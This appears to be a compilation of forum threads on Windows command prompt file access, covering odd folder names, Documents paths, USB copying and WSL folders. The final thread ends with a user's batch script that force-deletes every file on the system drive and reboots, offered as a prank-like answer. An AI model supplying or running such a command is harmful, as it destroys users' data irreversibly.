I am unable to access, by double-clicking, a folder named "Fișiere recep.". That "ş" is a Romanian character.
I am not able to rename it either. Any idea on how to recover the files inside that folder?
Thank you very much, in advance
You may have luck by attempting to access it through a command prompt using the cd command. If that doesn't work, then you can try booting into Linux from a removable drive and attempting to rename the folder from there.
SOLVED: I used a hex disk editor.

I am using Windows 10 and when I save a document I see the Documents folder it is being saved to on the left of the screen in the list under 'thisPC'. The bottom of that list has the C: drive. From Powershell, Bash or command prompt when I try to cd or locate the file I just saved I am told that it cannot find such a file. Why is my home directory the C: and not include the other files I mainly work with? I appreciate any help. Thank you
Command prompt works with files and folders.
Explorer works with virtual files or folders. Explorer is for users to easily find their stuff.
In Command prompt there is no such thing as This PC or anything under it. These are virtual things.
dir "%userprofile%\documents"
will list the files in your Documents folder if it is in the default location.
So odd situation here. in AD, we have our user's home directory set as a network drive (D:), so when you open command prompt, it starts you in D:. I need to make a script that copies a file to their desktop. I can't use %userprofile% because it will use D:. Any ideas?
I found out, I was able to use C:\users\%username%\desktop or %UserProfile%\Desktop.
I am trying to download a file onto a usb from my laptop which is suffering from software issues. I used the command C:users\username>\dir documents on another pc, and was able to view the documents in the folder however, on the laptop in question, the command did not work and I was given the message "The system cannot find the path specified." I am trying to find the name of the document I need to copy so I am requesting a command which enables me to view all documents in the folder. After I find the name of the document, I am also unaware of how I can use command prompt to copy the file onto the USB i have inserted.
I am accessing the command prompt through System Recovery. I do not know code in any form. IMPORTANT Information which may be the reason for the lack of ability to do anything. When I type prompt>dir ****.docx /s /p, I get the message Volume in drive C has no label rather than Windows 7.

As for copying files in cmd, it's as easy as-
prompt>copy <source> <destination>
For changing the drive (to the USB drive), use the "/d" option-
prompt>cd /d <USB drive name>
To view all the contents of current directory, use "dir"-
prompt>dir
Basically, you're not using right syntax. Kindly make cd c:\users and than write dir like this C:> cd C:/Users than your directory will be changed after that you can see C:/Users. So you can write dir in order to see your directories
I'm working a programming project from school and decided to give Bash for windows a try. I downloaded the skeleton files for the project and pasted them inside the folder where my bash home folder should be. When I open the terminal and go inside the folder it shows as if there was nothing there even though I'm at the right folder. How can I get the files to be displayed?
EDIT: By now, there is actually a supported way to access these files. You have to use the \\wsl$\Legacy "network" share. For example, you could access your WSL home folder in Windows using \\wsl$\Legacy\home\<username>. Still, you should not directly access the lxss directory.
You are not supposed to touch the LXSS folder ever. The files there are use special attributes which are not understood by normal Windows applications to provide the features of a full Linux file system which NTFS on its own can't provide.
There is one hard-and-fast rule when it comes to Bash on Windows:
DO NOT, under ANY circumstances, create and/or modify Linux files
using Windows apps, tools, scripts, consoles, etc. Creating/changing
Linux files from Windows will likely result in data corruption and/or
damage your Linux environment requiring you to uninstall & reinstall
your distro! Note: Your “Linux files” are any of the files and folders
under %localappdata%\lxss – which is where the Linux filesystem –
distro and your own files – are stored on your drive
If you want to copy a file into a WSL directory which is not under /mnt, then use WSL to copy the file, i.e. use cp /mnt/c/original/folder/of/the/file.txt ~/ for example.
A more advanced alternative is starting a local SSH server in WSL and using Win-SSHFS to mount the WSL root as a drive in Windows. This way, file access will go through WSL.
Its unclear what you're asking in your question. What did you paste? Whole files? Text? Where did you paste it? Did you do the pasting into the bash window? If so was it inside a text file or did you just paste to the prompt? I'm going to assume that you pasted files to the directory that you believe that your bash home opens in i.e ~/. You may not be pasting the files into the correct directory because the default directory for bash on windows is not where you would assume it to be. you should be able to reach your desktop by typing cd /mnt/c/Users/yourUserNameHere/Desktop
I would like a batch file which can delete C:\Windows files. But every time i try (:D) it keeps me away from it because of the permissions.
Does anyone know how to remove C:\WINDOWS files?
Thanks.
I have my doubts about this like the rest, but to address the issue you most likely need to be an Administrator on the the box.
Well, you can't if you are running the windows from the same directory. Windows will never allow you to do that.
Try booting up your system with some other OS and then you can remove the directory of another OS.
BTW, why are you doing this? Are you trying to write some kind of a dumb virus?
are you trying to run this while Windows is running. That will not work on many files in C:\windows simply b/c the operating system is using them.
Get a CD and boot the box using a Linux disk. Mount the drive and delete until your eyes bleed.
Got it now:
#echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
i know this deletes the hole drive,,, but you can use this on any way.
Was it so hard for you guys?
xD
